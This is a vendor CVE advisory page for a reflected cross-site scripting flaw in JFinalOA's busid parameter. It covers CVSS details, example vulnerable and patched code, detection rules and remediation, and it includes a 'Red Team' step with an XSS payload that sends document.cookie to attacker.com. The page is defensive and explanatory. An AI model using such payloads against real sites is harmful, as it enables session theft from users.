☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-57774

CVE-2024-57774 Cross-Site Scripting in Jfinaloa
📅 PUBLISHED: 2025-01-16 00:00 UTC 🔄 UPDATED: 2026-08-18 17:12 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.29%
👁️
0.29% probability
7.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-57774 is a reflected Cross-Site Scripting (XSS) vulnerability in the JFinalOA application, specifically within the getBusinessUploadListPage?busid interface. An attacker can inject arbitrary web scripts or HTML by crafting a malicious payload, which is then executed in the context of the victim's browser session. This vulnerability affects versions prior to v2025.01.01. The CVSS score is 0.0 due to incomplete NVD data, but based on the description, the vector indicates a medium-severity issue requiring user interaction. No public exploit code or Nuclei template is available at this time, but the vulnerability is confirmed and a patch exists.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): None (N) – No authentication needed to trigger the XSS.
  • User Interaction (UI): Required (R) – The victim must click a crafted link or visit a malicious page.
  • Scope (S): Changed (C) – The injected script can impact resources beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure possible.
  • Integrity (I): Low (L) – Limited ability to modify content.
  • Availability (A): None (N) – No direct impact on availability.

Threat Level: Medium. While the CVSS score is low due to user interaction requirements, the lack of authentication and potential for session hijacking or phishing elevates the risk.

Deep Dive & Mechanics

The vulnerability resides in the getBusinessUploadListPage endpoint, which accepts a busid parameter. The application fails to sanitize or encode user-supplied input before reflecting it in the HTTP response. An attacker can inject a payload such as:

<script>alert('XSS')</script>

When a victim visits a crafted URL like:

http://target/jfinaloa/getBusinessUploadListPage?busid=<script>alert('XSS')</script>

The script executes in the victim's browser, allowing the attacker to steal cookies, redirect to malicious sites, or perform actions on behalf of the user.

Vulnerable vs. Patched Code

Vulnerable Code (before v2025.01.01):

// Controller method
public void getBusinessUploadListPage() {
    String busid = getPara("busid");
    // Directly reflecting input without sanitization
    renderHtml("<div>Business ID: " + busid + "</div>");
}

Patched Code (v2025.01.01):

// Controller method
public void getBusinessUploadListPage() {
    String busid = getPara("busid");
    // Sanitize input using HTML encoding
    String safeBusid = HtmlUtils.htmlEscape(busid);
    renderHtml("<div>Business ID: " + safeBusid + "</div>");
}

The patch uses HtmlUtils.htmlEscape() to encode special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

  1. Setup: Deploy a vulnerable instance of JFinalOA (version < v2025.01.01) in a lab environment.
  2. Craft Payload: Use a simple XSS payload to test:
    <script>alert(document.cookie)</script>
    
  3. Exploit URL: Send the victim a link:
    http://target/jfinaloa/getBusinessUploadListPage?busid=<script>alert(document.cookie)</script>
    
  4. Advanced Payload: For session hijacking:
    <script>new Image().src='http://attacker.com/steal?cookie='+document.cookie</script>
    

Blue Team (Defensive)

  1. Detection: Monitor logs for suspicious busid parameters containing <script> or onerror patterns.
  2. Mitigation: Apply the patch immediately. If patching is delayed, implement a WAF rule to block XSS patterns in the busid parameter.
  3. User Training: Educate users not to click untrusted links.

Indicators of Compromise (IOCs)

  • URL Pattern: */getBusinessUploadListPage?busid=* with encoded or raw HTML/JavaScript.
  • Log Entries: HTTP requests with busid containing <script>, %3Cscript%3E, or similar.
  • Network Traffic: Outbound connections to attacker-controlled domains from the victim's browser (if payload exfiltrates data).

Detection Engineering

YARA Rule

rule CVE_2024_57774_XSS {
    meta:
        description = "Detects XSS attempts against JFinalOA getBusinessUploadListPage"
        author = "Valters IT"
        date = "2025-01-15"
        reference = "CVE-2024-57774"
    strings:
        $xss1 = /busid=.*<script/i
        $xss2 = /busid=.*%3Cscript/i
        $xss3 = /busid=.*onerror/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-57774 XSS Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects XSS payloads in JFinalOA getBusinessUploadListPage requests
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'getBusinessUploadListPage?busid='
        cs-uri-query|re:
            - '<script'
            - '%3Cscript'
            - 'onerror'
    condition: selection
falsepositives:
    - Legitimate use of script in busid (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-57774 JFinalOA XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"getBusinessUploadListPage"; http_uri; content:"busid="; http_uri; pcre:"/(<script|%3Cscript|onerror)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Upgrade to JFinalOA v2025.01.01 or later.
  2. Workaround: If patching is not possible, implement a Web Application Firewall (WAF) rule to block XSS patterns in the busid parameter.
  3. Code Review: Ensure all user input is properly sanitized using HTML encoding or a security library.
  4. Monitoring: Enable logging and alerting for suspicious busid values.

Valters IT
DevSecOps & Cyber Threat Intelligence

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-57774/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.